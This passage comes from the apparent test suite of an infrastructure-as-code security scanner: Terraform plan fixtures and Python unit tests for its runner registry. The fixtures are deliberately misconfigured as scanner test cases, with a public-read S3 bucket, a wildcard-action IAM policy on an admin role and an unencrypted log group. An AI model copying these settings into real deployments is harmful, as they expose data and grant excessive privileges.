\"force_destroy\": false,\n              \"grant\": [],\n              \"lifecycle_rule\": [\n                {\n                  \"abort_incomplete_multipart_upload_days\": 90,\n                  \"enabled\": true,\n                  \"expiration\": [\n                    {\n                      \"date\": null,\n                      \"days\": 90,\n                      \"expired_object_delete_marker\": null\n                    }\n                  ],\n                  \"id\": \"90 Day Lifecycle\",\n                  \"noncurrent_version_expiration\": [\n                    {\n                      \"days\": 90\n                    }\n                  ],\n                  \"noncurrent_version_transition\": [],\n                  \"prefix\": null,\n                  \"tags\": null,\n                  \"transition\": []\n                }\n              ],\n              \"logging\": [],\n              \"object_lock_configuration\": [],\n              \"policy\": null,\n              \"replication_configuration\": [],\n              \"server_side_encryption_configuration\": [],\n              \"tags\": null,\n              \"website\": []\n            }\n          }\n        ]\n      }\n    },\n    \"resource_changes\": [\n      {\n        \"address\": \"aws_dynamodb_table.cross-environment-violations\",\n        \"mode\": \"managed\",\n        \"type\": \"aws_dynamodb_table\",\n        \"name\": \"cross-environment-violations\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"attribute\": [\n              {\n                \"name\": \"id\",\n                \"type\": \"S\"\n              }\n            ],\n            \"billing_mode\": \"PROVISIONED\",\n            \"global_secondary_index\": [],\n            \"hash_key\": \"id\",\n            \"local_secondary_index\": [],\n            \"name\": \"CrossEnvironmentViolations\",\n            \"range_key\": null,\n            \"read_capacity\": 20,\n            \"replica\": [],\n            \"stream_enabled\": null,\n            \"tags\": null,\n            \"timeouts\": null,\n            \"ttl\": [],\n            \"write_capacity\": 20\n          },\n          \"after_unknown\": {\n            \"arn\": true,\n            \"attribute\": [\n              {}\n            ],\n            \"global_secondary_index\": [],\n            \"id\": true,\n            \"local_secondary_index\": [],\n            \"point_in_time_recovery\": true,\n            \"replica\": [],\n            \"server_side_encryption\": true,\n            \"stream_arn\": true,\n            \"stream_label\": true,\n            \"stream_view_type\": true,\n            \"ttl\": []\n          }\n        }\n      },\n      {\n        \"address\": \"aws_iam_policy.policy\",\n        \"mode\": \"managed\",\n        \"type\": \"aws_iam_policy\",\n        \"name\": \"policy\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"description\": \"My test policy\",\n            \"name\": \"my_policy-995112413069\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"arn:aws:iam::995112413069:role/admin\\\"\\n    }\\n  ]\\n}\\n\"\n          },\n          \"after_unknown\": {\n            \"arn\": true,\n            \"id\": true\n          }\n        }\n      },\n      {\n        \"address\": \"aws_s3_bucket.test-bucket1\",\n        \"mode\": \"managed\",\n        \"type\": \"aws_s3_bucket\",\n        \"name\": \"test-bucket1\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"acl\": \"public-read\",\n            \"bucket\": \"test-bucket1\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": false,\n            \"grant\": [],\n            \"lifecycle_rule\": [\n              {\n                \"abort_incomplete_multipart_upload_days\": 90,\n                \"enabled\": true,\n                \"expiration\": [\n                  {\n                    \"date\": null,\n                    \"days\": 90,\n                    \"expired_object_delete_marker\": null\n                  }\n                ],\n                \"id\": \"90 Day Lifecycle\",\n                \"noncurrent_version_expiration\": [\n                  {\n                    \"days\": 90\n                  }\n                ],\n                \"noncurrent_version_transition\": [],\n                \"prefix\": null,\n                \"tags\": null,\n                \"transition\": []\n              }\n            ],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": null,\n            \"website\": []\n          },\n          \"after_unknown\": {\n            \"acceleration_status\": true,\n            \"arn\": true,\n            \"bucket_domain_name\": true,\n            \"bucket_regional_domain_name\": true,\n            \"cors_rule\": [],\n            \"grant\": [],\n            \"hosted_zone_id\": true,\n            \"id\": true,\n            \"lifecycle_rule\": [\n              {\n                \"expiration\": [\n                  {}\n                ],\n                \"noncurrent_version_expiration\": [\n                  {}\n                ],\n                \"noncurrent_version_transition\": [],\n                \"transition\": []\n              }\n            ],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"region\": true,\n            \"replication_configuration\": [],\n            \"request_payer\": true,\n            \"server_side_encryption_configuration\": [],\n            \"versioning\": true,\n            \"website\": [],\n            \"website_domain\": true,\n            \"website_endpoint\": true\n          }\n        }\n      }\n    ],\n    \"configuration\": {\n      \"provider_config\": {\n        \"aws\": {\n          \"name\": \"aws\",\n          \"expressions\": {\n            \"assume_role\": [\n              {\n                \"role_arn\": {\n                  \"references\": [\n                    \"var.aws_account_id\"\n                  ]\n                }\n              }\n            ],\n            \"region\": {\n              \"references\": [\n                \"var.region\"\n              ]\n            }\n          }\n        },\n        \"aws.current_region\": {\n          \"name\": \"aws\",\n          \"alias\": \"current_region\",\n          \"expressions\": {\n            \"assume_role\": [\n              {\n                \"role_arn\": {\n                  \"references\": [\n                    \"var.aws_account_id\"\n                  ]\n                }\n              }\n            ],\n            \"region\": {\n              \"references\": [\n                \"var.region\"\n              ]\n            }\n          }\n        }\n      },\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"aws_dynamodb_table.cross-environment-violations\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_dynamodb_table\",\n            \"name\": \"cross-environment-violations\",\n            \"provider_config_key\": \"aws.current_region\",\n            \"expressions\": {\n              \"attribute\": [\n                {\n                  \"name\": {\n                    \"constant_value\": \"id\"\n                  },\n                  \"type\": {\n                    \"constant_value\": \"S\"\n                  }\n                }\n              ],\n              \"hash_key\": {\n                \"constant_value\": \"id\"\n              },\n              \"name\": {\n                \"constant_value\": \"CrossEnvironmentViolations\"\n              },\n              \"read_capacity\": {\n                \"constant_value\": 20\n              },\n              \"write_capacity\": {\n                \"constant_value\": 20\n              }\n            },\n            \"schema_version\": 1\n          },\n          {\n            \"address\": \"aws_iam_policy.policy\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_iam_policy\",\n            \"name\": \"policy\",\n            \"provider_config_key\": \"aws\",\n            \"expressions\": {\n              \"description\": {\n                \"constant_value\": \"My test policy\"\n              },\n              \"name\": {\n                \"references\": [\n                  \"var.aws_account_id\"\n                ]\n              },\n              \"path\": {\n                \"constant_value\": \"/\"\n              },\n              \"policy\": {\n                \"references\": [\n                  \"var.aws_account_id\"\n                ]\n              }\n            },\n            \"schema_version\": 0\n          },\n          {\n            \"address\": \"aws_s3_bucket.test-bucket1\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_s3_bucket\",\n            \"name\": \"test-bucket1\",\n            \"provider_config_key\": \"aws.current_region\",\n            \"expressions\": {\n              \"acl\": {\n                \"constant_value\": \"public-read\"\n              },\n              \"bucket\": {\n                \"constant_value\": \"test-bucket1\"\n              },\n              \"lifecycle_rule\": [\n                {\n                  \"abort_incomplete_multipart_upload_days\": {\n                    \"constant_value\": 90\n                  },\n                  \"enabled\": {\n                    \"constant_value\": true\n                  },\n                  \"expiration\": [\n                    {\n                      \"days\": {\n                        \"constant_value\": 90\n                      }\n                    }\n                  ],\n                  \"id\": {\n                    \"constant_value\": \"90 Day Lifecycle\"\n                  },\n                  \"noncurrent_version_expiration\": [\n                    {\n                      \"days\": {\n                        \"constant_value\": 90\n                      }\n                    }\n                  ]\n                }\n              ]\n            },\n            \"schema_version\": 0\n          }\n        ],\n        \"variables\": {\n          \"application_name\": {},\n          \"aws_account_id\": {},\n          \"env\": {},\n          \"region\": {}\n        }\n      }\n    }\n  }\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_tf_modules_for_enrichment/log_group/main.tf",
    "content": "resource \"aws_cloudwatch_log_group\" \"not_encrypted\" {\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_tf_modules_for_enrichment/main.tf",
    "content": "module \"log_group_local\" {\n  source = \"./log_group\"\n}\n\nmodule \"log_group_external\" {\n  source  = \"terraform-aws-modules/cloudwatch/aws//modules/log-group\"\n  version = \"2.1.0\"\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_tf_modules_for_enrichment/providers.tf",
    "content": "provider \"aws\" {\n  region  = \"eu-central-1\"\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_tf_modules_for_enrichment/tfplan.json",
    "content": "{\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.15.1\",\n    \"planned_values\": {\n        \"root_module\": {\n            \"child_modules\": [\n                {\n                    \"resources\": [\n                        {\n                            \"address\": \"module.log_group_external.aws_cloudwatch_log_group.this[0]\",\n                            \"mode\": \"managed\",\n                            \"type\": \"aws_cloudwatch_log_group\",\n                            \"name\": \"this\",\n                            \"index\": 0,\n                            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\": 0,\n                            \"values\": {\"kms_key_id\": null, \"name_prefix\": null, \"retention_in_days\": 0, \"tags\": null}\n                        }\n                    ],\n                    \"address\": \"module.log_group_external\"\n                },\n                {\n                    \"resources\": [\n                        {\n                            \"address\": \"module.log_group_local.aws_cloudwatch_log_group.not_encrypted\",\n                            \"mode\": \"managed\",\n                            \"type\": \"aws_cloudwatch_log_group\",\n                            \"name\": \"not_encrypted\",\n                            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\": 0,\n                            \"values\": {\"kms_key_id\": null, \"name_prefix\": null, \"retention_in_days\": 30, \"tags\": null}\n                        }\n                    ],\n                    \"address\": \"module.log_group_local\"\n                }\n            ]\n        }\n    },\n    \"resource_changes\": [\n        {\n            \"address\": \"module.log_group_external.aws_cloudwatch_log_group.this[0]\",\n            \"module_address\": \"module.log_group_external\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_cloudwatch_log_group\",\n            \"name\": \"this\",\n            \"index\": 0,\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"change\": {\n                \"actions\": [\"create\"],\n                \"before\": null,\n                \"after\": {\"kms_key_id\": null, \"name_prefix\": null, \"retention_in_days\": 0, \"tags\": null},\n                \"after_unknown\": {\"arn\": true, \"id\": true, \"name\": true, \"tags_all\": true},\n                \"before_sensitive\": false,\n                \"after_sensitive\": {\"tags_all\": {}}\n            }\n        },\n        {\n            \"address\": \"module.log_group_local.aws_cloudwatch_log_group.not_encrypted\",\n            \"module_address\": \"module.log_group_local\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_cloudwatch_log_group\",\n            \"name\": \"not_encrypted\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"change\": {\n                \"actions\": [\"create\"],\n                \"before\": null,\n                \"after\": {\"kms_key_id\": null, \"name_prefix\": null, \"retention_in_days\": 30, \"tags\": null},\n                \"after_unknown\": {\"arn\": true, \"id\": true, \"name\": true, \"tags_all\": true},\n                \"before_sensitive\": false,\n                \"after_sensitive\": {\"tags_all\": {}}\n            }\n        }\n    ],\n    \"configuration\": {\n        \"provider_config\": {\n            \"aws\": {\"name\": \"aws\", \"expressions\": {\"region\": {\"constant_value\": \"eu-central-1\"}}},\n            \"module.log_group_external:aws\": {\n                \"name\": \"aws\",\n                \"version_constraint\": \"\\u003e= 2.55.0\",\n                \"module_address\": \"module.log_group_external\"\n            }\n        },\n        \"root_module\": {\n            \"module_calls\": {\n                \"log_group_external\": {\n                    \"source\": \"terraform-aws-modules/cloudwatch/aws//modules/log-group\",\n                    \"module\": {\n                        \"outputs\": {\n                            \"cloudwatch_log_group_arn\": {\n                                \"expression\": {\"references\": [\"aws_cloudwatch_log_group.this\"]},\n                                \"description\": \"ARN of Cloudwatch log group\"\n                            },\n                            \"cloudwatch_log_group_name\": {\n                                \"expression\": {\"references\": [\"aws_cloudwatch_log_group.this\"]},\n                                \"description\": \"Name of Cloudwatch log group\"\n                            }\n                        },\n                        \"resources\": [\n                            {\n                                \"address\": \"aws_cloudwatch_log_group.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_cloudwatch_log_group\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"log_group_external:aws\",\n                                \"expressions\": {\n                                    \"kms_key_id\": {\"references\": [\"var.kms_key_id\"]},\n                                    \"name\": {\"references\": [\"var.name\"]},\n                                    \"name_prefix\": {\"references\": [\"var.name_prefix\"]},\n                                    \"retention_in_days\": {\"references\": [\"var.retention_in_days\"]},\n                                    \"tags\": {\"references\": [\"var.tags\"]}\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\"references\": [\"var.create\"]}\n                            }\n                        ],\n                        \"variables\": {\n                            \"create\": {\"default\": true, \"description\": \"Whether to create the Cloudwatch log group\"},\n                            \"kms_key_id\": {\n                                \"default\": null,\n                                \"description\": \"The ARN of the KMS Key to use when encrypting logs\"\n                            },\n                            \"name\": {\"default\": null, \"description\": \"A name for the log group\"},\n                            \"name_prefix\": {\"default\": null, \"description\": \"A name prefix for the log group\"},\n                            \"retention_in_days\": {\n                                \"default\": null,\n                                \"description\": \"Specifies the number of days you want to retain log events in the specified log group\"\n                            },\n                            \"tags\": {\"default\": {}, \"description\": \"A map of tags to add to Cloudwatch log group\"}\n                        }\n                    },\n                    \"version_constraint\": \"~\\u003e 2.0\"\n                },\n                \"log_group_local\": {\n                    \"source\": \"./log_group\",\n                    \"module\": {\n                        \"resources\": [\n                            {\n                                \"address\": \"aws_cloudwatch_log_group.not_encrypted\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_cloudwatch_log_group\",\n                                \"name\": \"not_encrypted\",\n                                \"provider_config_key\": \"log_group_local:aws\",\n                                \"expressions\": {\"retention_in_days\": {\"constant_value\": 30}},\n                                \"schema_version\": 0\n                            }\n                        ]\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "tests/common/runner_registry/test_runner_registry.py",
    "content": "import argparse\nimport json\nimport shutil\nimport unittest\n\nimport logging\nimport sys\nimport os\nimport io\nfrom pathlib import Path\nfrom unittest.mock import patch\n\nfrom _pytest.capture import CaptureFixture\nfrom checkov.cdk.runner import CdkRunner\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.extra_resource import ExtraResource\n\nfrom checkov.cloudformation.runner import Runner as cfn_runner\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryMapping\nfrom checkov.common.output.report import Report\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.common.util.banner import banner\nfrom checkov.kubernetes.runner import Runner as k8_runner\nfrom checkov.main import DEFAULT_RUNNERS\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.sca_package_2.runner import Runner as sca_package_runner_2\nfrom checkov.terraform.runner import Runner as tf_runner\nfrom checkov.bicep.runner import Runner as bicep_runner\nfrom checkov.sast.runner import Runner as SastRunner\nfrom checkov.terraform.runner import Runner as TFRunner\nimport re\n\n\nlogger = logging.getLogger()\nlogger.level = logging.INFO\n\nclass TestRunnerRegistry(unittest.TestCase):\n    def test_multi_iac(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_multi_iac\"\n        runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, tf_runner(), cfn_runner(), k8_runner()\n        )\n        reports = runner_registry.run(root_folder=test_files_dir)\n        for report in reports:\n            self.assertGreater(len(report.passed_checks), 1)\n\n    def test_resource_counts(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_multi_iac\"\n        runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, tf_runner(), cfn_runner(), k8_runner()\n        )\n        reports = runner_registry.run(root_folder=test_files_dir)\n\n        # The number of resources that will get scan results. Note that this may change if we add policies covering new resource types.\n        counts_by_type = {\"kubernetes\": 14, \"terraform\": 3, \"cloudformation\": 4}\n\n        for report in reports:\n            self.assertEqual(\n                counts_by_type[report.check_type],\n                report.get_summary()[\"resource_count\"],\n            )\n\n    def test_empty_tf(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_empty_tf\"\n        self.verify_empty_report(test_files_dir=test_files_dir)\n        test_files = [test_files_dir + \"/example_empty_file.tf\"]\n        self.verify_empty_report(test_files_dir=None, files=test_files)\n\n    def test_empty_non_existing(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/foo\"\n        self.verify_empty_report(test_files_dir=test_files_dir)\n        test_files = [test_files_dir + \"/goo.yaml\"]\n        self.verify_empty_report(test_files_dir=None, files=test_files)\n\n    def test_empty_yaml(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_empty_yaml\"\n        self.verify_empty_report(test_files_dir=test_files_dir)\n        test_files = [test_files_dir + \"/example_empty_file.yaml\"]\n        self.verify_empty_report(test_files_dir=None, files=test_files)\n\n    def verify_empty_report(self, test_files_dir, files=None):\n        runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, tf_runner(), cfn_runner(), k8_runner()\n        )\n        reports = runner_registry.run(root_folder=test_files_dir, files=files)\n        for report in reports:\n            self.assertEqual(report.failed_checks, [])\n            self.assertEqual(report.skipped_checks, [])\n            self.assertEqual(report.passed_checks, [])\n        return runner_registry\n\n    def test_compact_json_output(self):\n        test_files_dir = os.path.dirname(os.path.realpath(__file__)) + \"/example_s3_tf\"\n        runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, tf_runner(), cfn_runner(), k8_runner()\n        )\n        reports = runner_registry.run(root_folder=test_files_dir)\n\n        config = argparse.Namespace(\n            file=['./example_s3_tf/main.tf'],\n            compact=True,\n            output=['json'],\n            quiet=False,\n            soft_fail=False,\n            soft_fail_on=None,\n            hard_fail_on=None,\n            output_file_path=None,\n            use_enforcement_rules=None\n        )\n\n        with patch('sys.stdout', new=io.StringIO()) as captured_output:\n            runner_registry.print_reports(scan_reports=reports, config=config)\n\n        output = json.loads(captured_output.getvalue())\n        passed_checks = output[\"results\"][\"passed_checks\"]\n        failed_checks = output[\"results\"][\"failed_checks\"]\n\n        assert all(check[\"code_block\"] is None for check in passed_checks)\n        assert all(check[\"connected_node\"] is None for check in passed_checks)\n        assert all(check[\"code_block\"] is None for check in failed_checks)\n        assert all(check[\"connected_node\"] is None for check in failed_checks)\n\n    def test_compact_csv_output(self):\n        test_files_dir = os.path.dirname(os.path.realpath(__file__)) + \"/example_s3_tf\"\n        runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, tf_runner(), cfn_runner(), k8_runner()\n        )\n        reports = runner_registry.run(root_folder=test_files_dir)\n\n        config = argparse.Namespace(\n            file=['./example_s3_tf/main.tf'],\n            compact=True,\n            output=['csv'],\n            quiet=False,\n            soft_fail=False,\n            soft_fail_on=None,\n            hard_fail_on=None,\n            output_file_path=None,\n            use_enforcement_rules=None\n        )\n\n        with patch('sys.stdout', new=io.StringIO()) as captured_output:\n            try:\n                stream_handler = logging.StreamHandler(sys.stdout)\n                logger.addHandler(stream_handler)\n\n                runner_registry.print_reports(scan_reports=reports, config=config)\n            finally:\n                logger.removeHandler(stream_handler)\n\n        output = captured_output.getvalue()\n\n        self.assertIn('Persisting SBOM to ', output)\n        iac_file_path = re.search(\"Persisting SBOM to (.*iac.csv)\", output).group(1)\n        with open(iac_file_path) as file:\n            content = file.readlines()\n            header = content[:1][0]\n            self.assertEqual('Resource,Path,Git Org,Git Repository,Misconfigurations,Severity,Policy title,Guideline\\n', header)\n            rows = content[1:]\n            self.assertIn('aws_s3_bucket', rows[0])\n        oss_file_path = re.search(\"Persisting SBOM to (.*oss_packages.csv)\", output).group(1)\n        with open(oss_file_path) as file:\n            content = file.readlines()\n            header = content[:1][0]\n            self.assertEqual('Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version\\n', header)\n            row = content[1:][0]\n            self.assertIn('Prisma Cloud', row)\n\n    def test_csv_invulnerable_report(self):\n        report = Report('sca_package')\n        report.extra_resources.add(\n            ExtraResource(\n                file_abs_path='/package.json',\n                file_path='/package.json',\n                resource='package.json.babel-jest',\n                vulnerability_details={'package_name': 'babel-jest',\n                                       'package_version': '',\n                                       'licenses': 'Unknown',\n                                       'package_type': ''},\n            )\n        )\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        results_path_dir = Path(current_dir) / 'packages_csv_results'\n        if results_path_dir.exists() and results_path_dir.is_dir():\n            shutil.rmtree(results_path_dir)\n\n        os.mkdir(results_path_dir)\n        config = argparse.Namespace(\n            file=['./example_s3_tf/main.tf'],\n            compact=False,\n            output=['csv'],\n            quiet=False,\n            soft_fail=False,\n            soft_fail_on=None,\n            hard_fail_on=None,\n            output_file_path=str(results_path_dir),\n            use_enforcement_rules=None,\n            bc_api_key='121223'\n        )\n\n        # when\n        runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n        runner_registry = RunnerRegistry(banner, runner_filter)\n        runner_registry.print_reports(scan_reports=[report], config=config)\n\n        oss_packages_csv_file_name = \"\"\n        for f in os.listdir(results_path_dir):\n            if f.endswith('oss_packages.csv'):\n                oss_packages_csv_file_name = f\n                break\n\n        assert oss_packages_csv_file_name\n\n        oss_packages_csv = open(f'{results_path_dir}/{oss_packages_csv_file_name}')\n        results = oss_packages_csv.read()\n        expected_results = 'Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version' \\\n                           '\\nbabel-jest,,/package.json,,,,,,,Unknown,N/A,,,\\n'\n\n        assert results == expected_results\n\n\n    def test_run_with_empty_frameworks(self):\n        # ensures that a run with a framework that gets filtered out (e.g. --framework terraform --file abc.yaml)\n        # returns an empty report\n\n        checkov_runners = [value for attr, value in CheckType.__dict__.items() if not attr.startswith(\"__\")]\n        scan_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'plan_with_hcl_for_enrichment', 'tfplan.json')\n\n        runner_filter = RunnerFilter(framework=['terraform'], runners=checkov_runners)\n        runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS)\n        runner_registry.filter_runners_for_files(['tfplan.json'])\n        with self.assertLogs(level='ERROR') as log:\n            reports = runner_registry.run(root_folder=None, files=[scan_file])\n            self.assertEqual(len(reports), 0)  # checking that we get an empty report, not an exception\n            self.assertIn(\n                'There are no runners to run. This can happen if you specify a file type and a framework that are not compatible',\n                ''.join(log.output))\n\n    def test_runner_file_filter(self):\n        checkov_runners = [value for attr, value in CheckType.__dict__.items() if not attr.startswith(\"__\")]\n\n        runner_filter = RunnerFilter(framework=['all'], runners=checkov_runners)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, *DEFAULT_RUNNERS\n        )\n        runner_registry.filter_runners_for_files([])\n        self.assertEqual(set(runner_registry.runners), set(DEFAULT_RUNNERS))\n\n        runner_filter = RunnerFilter(framework=['all'], runners=checkov_runners)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, *DEFAULT_RUNNERS\n        )\n        runner_registry.filter_runners_for_files(['main.tf'])\n        self.assertEqual(set(r.check_type for r in runner_registry.runners), {'terraform', 'secrets'})\n\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, *DEFAULT_RUNNERS, sca_package_runner_2()\n        )\n        runner_registry.filter_runners_for_files(['main.tf', 'requirements.txt'])\n        self.assertEqual(set(r.check_type for r in runner_registry.runners), {'terraform', 'secrets', 'sca_package'})\n\n        runner_filter = RunnerFilter(framework=['terraform'], runners=checkov_runners)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, *DEFAULT_RUNNERS\n        )\n        runner_registry.filter_runners_for_files(['main.tf'])\n        self.assertEqual(set(r.check_type for r in runner_registry.runners), {'terraform'})\n\n        runner_filter = RunnerFilter(framework=['all'], skip_framework=['secrets'], runners=checkov_runners)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, *DEFAULT_RUNNERS\n        )\n        runner_registry.filter_runners_for_files(['main.tf'])\n        self.assertEqual(set(r.check_type for r in runner_registry.runners), {'terraform'})\n\n        runner_filter = RunnerFilter(framework=['all'], skip_framework=['terraform'], runners=checkov_runners)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, *DEFAULT_RUNNERS\n        )\n        runner_registry.filter_runners_for_files(['main.tf'])\n        self.assertEqual(set(r.check_type for r in runner_registry.runners), {'secrets'})\n\n        runner_filter = RunnerFilter(framework=['all'], runners=checkov_runners)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, *DEFAULT_RUNNERS\n        )\n        runner_registry.filter_runners_for_files(['manifest.json'])\n        self.assertIn(\"kubernetes\", set(r.check_type for r in runner_registry.runners))\n\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, *DEFAULT_RUNNERS, sca_package_runner_2()\n        )\n        runner_registry.filter_runners_for_files(['file.py'])\n        self.assertEqual(set(r.check_type for r in runner_registry.runners), {'cdk', 'sast', 'secrets'})\n\n    def test_runners_have_code_category(self):\n        checkov_runners = [value for attr, value in CheckType.__dict__.items() if not attr.startswith(\"__\")]\n        for runner in checkov_runners:\n            self.assertIn(runner, CodeCategoryMapping)\n\n    def test_extract_git_info_from_account_id(self):\n        account_id = \"owner/name\"\n        expected_git_org = \"owner\"\n        expected_git_repo = \"name\"\n        result_git_org, result_git_repo = RunnerRegistry.extract_git_info_from_account_id(account_id)\n        self.assertEqual(expected_git_repo, result_git_repo)\n        self.assertEqual(expected_git_org, result_git_org)\n\n        account_id = \"owner/with/slash/separator/name\"\n        expected_git_org = \"owner/with/slash/separator\"\n        expected_git_repo = \"name\"\n        result_git_org, result_git_repo = RunnerRegistry.extract_git_info_from_account_id(account_id)\n        self.assertEqual(expected_git_repo, result_git_repo)\n        self.assertEqual(expected_git_org, result_git_org)\n\n        account_id = \"name\"\n        expected_git_org = \"\"\n        expected_git_repo = \"\"\n        result_git_org, result_git_repo = RunnerRegistry.extract_git_info_from_account_id(account_id)\n        self.assertEqual(expected_git_repo, result_git_repo)\n        self.assertEqual(expected_git_org, result_git_org)\n\n        account_id = \"\"\n        expected_git_org = \"\"\n        expected_git_repo = \"\"\n        result_git_org, result_git_repo = RunnerRegistry.extract_git_info_from_account_id(account_id)\n        self.assertEqual(expected_git_repo, result_git_repo)\n        self.assertEqual(expected_git_org, result_git_org)\n\n    def test_merge_reports(self):\n        # given\n        runner_registry = RunnerRegistry(banner, RunnerFilter(), *DEFAULT_RUNNERS)\n        reports = [\n            [\n                Report(check_type=CheckType.TERRAFORM),\n                Report(check_type=CheckType.SCA_IMAGE),\n            ],\n            Report(check_type=CheckType.CLOUDFORMATION),\n            Report(check_type=CheckType.SCA_IMAGE),\n        ]\n\n        # when\n        merged_reports = runner_registry._merge_reports(reports=reports)\n\n        # then\n        merged_report_check_types = [\n            report.check_type\n            for report in merged_reports\n        ]\n        self.assertCountEqual(merged_report_check_types,[\n            CheckType.TERRAFORM,\n            CheckType.CLOUDFORMATION,\n            CheckType.SCA_IMAGE,\n        ])\n\n    def test_merge_reports_for_multi_frameworks_image_referencer_results(self):\n        # given\n        runner_registry = RunnerRegistry(banner, RunnerFilter(), *DEFAULT_RUNNERS)\n        tf_image_referencer_report = Report(check_type=CheckType.SCA_IMAGE)\n        tf_image_referencer_report.image_cached_results = [\n        {\n            \"dockerImageName\": \"busybox\",\n            \"dockerFilePath\": \"/Users/arielk/dev/terragoat/terraform/aws/image-referencer.tf\",\n            \"dockerFileContent\": \"image: busybox\",\n            \"type\": \"Image\",\n            \"sourceId\": \"ariel-cli/terragoat\",\n            \"branch\": \"branch-name\",\n            \"sourceType\": \"cli\",\n            \"vulnerabilities\":\n            [\n                {\n                    \"cveId\": \"CVE-2022-28391\",\n                    \"status\": \"open\",\n                    \"severity\": \"high\",\n                    \"packageName\": \"busybox\",\n                    \"packageVersion\": \"1.34.1\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2022-28391\",\n                    \"cvss\": 8.8,\n                    \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\",\n                    \"description\": \"BusyBox through 1.35.0 allows remote attackers to execute arbitrary code if netstat is used to print a DNS PTR record\\\\'s value to a VT compatible terminal. Alternatively, the attacker could choose to change the terminal\\\\'s colors.\",\n                    \"riskFactors\":\n                    [\n                        \"Attack complexity: low\",\n                        \"Attack vector: network\",\n                        \"High severity\",\n                        \"Recent vulnerability\",\n                        \"Remote execution\"\n                    ],\n                    \"publishedDate\": \"2022-04-03T21:15:00Z\"\n                }\n            ],\n            \"packages\":\n            [],\n            \"relatedResourceId\": \"/Users/arielk/dev/terragoat/terraform/aws/image-referencer.tf:aws_batch_job_definition.test1111\"\n        }\n        ]\n        gha_image_referencer_report = Report(check_type=CheckType.SCA_IMAGE)\n        gha_image_referencer_report.image_cached_results = [\n        {\n            \"dockerImageName\": \"nginx:stable-alpine-perl\",\n            \"dockerFilePath\": \"/.github/workflows/ci.yaml\",\n            